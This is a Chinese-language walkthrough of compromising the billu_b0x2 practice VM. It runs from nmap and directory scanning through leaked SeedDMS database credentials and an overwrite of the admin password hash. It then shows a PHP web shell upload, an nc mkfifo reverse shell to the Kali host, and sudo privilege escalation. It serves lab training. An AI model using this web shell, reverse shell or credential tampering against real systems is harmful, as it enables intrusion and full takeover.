前言
靶機:billu_b0x2
靶機,IP地址為192.168.10.8
攻擊:kali
,IP地址為192.168.10.6
靶機和攻擊機都采用VMware
虛擬機,都采用橋接網卡模式
文章涉及的靶機及工具,都可以自行訪問官網或者項目地址進行獲取,或者通過網盤鏈接下載
https://pan.quark.cn/s/b29972b79f71
主機發現
也就是相當于現實環境中去發現確定主機的ip
地址,因為這里是靶機環境,所以跳過了從域名到ip
地址的過程。
使用arp-scan -l
或者netdiscovery -r 192.168.10.1/24
當然也可以使用nmap
等工具進行
arp-scan -l
信息收集
使用nmap掃描目標端口等信息
首先掃描目標的tcp
端口的開放情況
nmap -sT --min-rate=1000 192.168.10.8 -p- -oA nmap-tcp
再掃描udp
端口的開放情況
nmap -sU --min-rate=1000 192.168.10.8 --top-ports 20 -oA nmap-udp
可以看到明確開放的udp
端口沒有,所以下面對tcp
端口進行一個篩選
ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
進一步對這些端口進行服務、系統等探測
nmap -sV -O -sC 192.168.10.8 -p $ports --min-rate=1000 -oA detail
再使用nmap
的漏洞檢測腳本對這些端口進行探測
nmap --script=vuln 192.168.10.8 -p $ports -oA vuln
網站信息探測
訪問80端口網站,這里因為請求涉及國外的鏈接,所以建議代理一下
查看頁面源代碼并沒有信息泄露,那么使用whatweb
或瀏覽器插件wappalyzer
進行配置識別
whatweb http://192.168.10.8 -v
使用gobuster
等目錄爆破工具進行測試
gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md
訪問這些目錄基本上沒什么效果。都是403
無權訪問,既然無權,那么之前查看頁面源代碼的時候,發現有文件指向,不知道能否訪問
點擊后,發現可以訪問,那么就是哪個目錄不能訪問,但是有文件就可以,依次查看。在/js/main.js
中發現了一個目錄/seeddms51x/seeddms-5.1.22/
訪問這個目錄發現,是一個登錄界面,并且可以看到所謂的cms
,是seeddms
,并且版本應該是5.1.22
使用searchsploit
搜索對應版本的漏洞,發現并沒有
那么對這個目錄再深入進行目錄爆破,能否發現更深的信息,先對外層目錄測試
dirsearch -u http://192.168.10.8/seeddms51x -x 403,404 -e js,php,xml,txt,md -r
發現在conf
下有一個文件settings.xml
,那么訪問,發現代碼有點亂
數據庫數據覆蓋
那么查看頁面源代碼,在其中一項發現數據庫連接賬戶和密碼
之前數據庫端口3306
是開放的,那么直接訪問,并以用戶名seeddms
和密碼seeddms
進行登錄
mysql -h 192.168.10.8 -P 3306 -useeddms -pseeddms --skip-ssl
這時候去查看表,發現有users
,那么直接查看這個users
中的數據
目前只有網站登錄,并且這個數據庫的名稱應該就是網站的后臺數據庫,密碼為Saket@#$1337
訪問之前的登錄界面/seeddms51x/seeddms-5.1.22/
但是以這個無法登錄,發現數據庫中還有一個表tblUsers
,再查看一下
兩個用戶,其中guest
用戶沒有密碼,admin
用戶的密碼是經過加密的,可能是md5
,不知道是否加鹽,那么就破解一下,借助網站cmd5.com
和somd5.com
都沒有破解出,那么嘗試進行密碼更新
首先借助openssl
生成md5
加密的字符
echo -n '123456' | openssl md5
然后在數據庫中執行命令替換密碼
update tblUsers set pwd='e10adc3949ba59abbe56e057f20f883e' where id=1;
這時候再去網站登錄界面,以用戶名admin
和密碼123456
成功登錄目標
文件上傳漏洞
在測試幾個界面后,發現一個添加文檔的界面,可以上傳文件,之前確定網站為php
語言,那么可能存在文件上傳的漏洞,進行測試
點擊下面的添加文檔后,雖然跳轉顯示為500
,但是經過查看,發現文件上傳成功了,不過就是不知道文件路徑
上傳的時候提示的路徑http://192.168.10.8/seeddms51x/seeddms-5.1.22/op/op.AddDocument.php
是表單處理的,但是訪問的時候,無法訪問,還是不知道把數據搞哪去了
不過查看管理員工具中的設置,發現上傳路徑在data
下
然后在高級設置中,發現了所謂的“內容偏移目錄”,這可能與上傳目錄有關,嘗試拼接
可以看到這里是無權,不是沒有該文件或目錄,后面的信息,不知道, 那么嘗試爆破吧
dirsearch -u http://192.168.10.8/seeddms51x/data/1048576 -x 403,404 -e php -r
為什么三個,因為我后面又上傳了三個文件,這里可以發現,每上傳一個php
文件,其目錄會遞增,不過文件名是一樣。現在上傳一個可以命令執行的php
代碼,或者可以直接反彈shell
的代碼。
訪問其中一個,測試發現php
代碼解析了
我這里就上傳文件執行的代碼為示例
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
這時候再上傳這個文件,訪問的時候,直接訪問/data/1048576/7/1.php
,發現成功
這時候就是文件上傳到命令執行了
執行反彈shell
的命令,當然需要先在kali
開啟監聽
nc -lvnp 9999
這時候再構造反彈shell
的命令,進行測試
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
查看靶機內安裝python
沒有,安裝的話,什么版本
compgen -c | grep python
然后使用python
加一層shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
提權
查看當前系統內的用戶,發現有saket
用戶,好眼熟,前面在一個數據庫中看到過這個用戶,密碼是Saket@#$1337
使用find
尋找具有SUID權限的文件
find / -perm -4000 -print 2>/dev/null
發現有su
和sudo
,那么嘗試切換用戶saket
,密碼就是這個Saket@#$1337
使用sudo -l
可以看到對于用戶saket
,所有的命令都可以sudo
執行
我直接一個sudo -s
提權到root
總結
該靶機主要考察的就是信息收集
js
文件中信息發現---->訪問路徑---->目錄爆破---->發現配置文件---->找到數據庫信息---->登錄網站---->文件上傳----->php
命令執行---->反彈shell
---->sudo
提權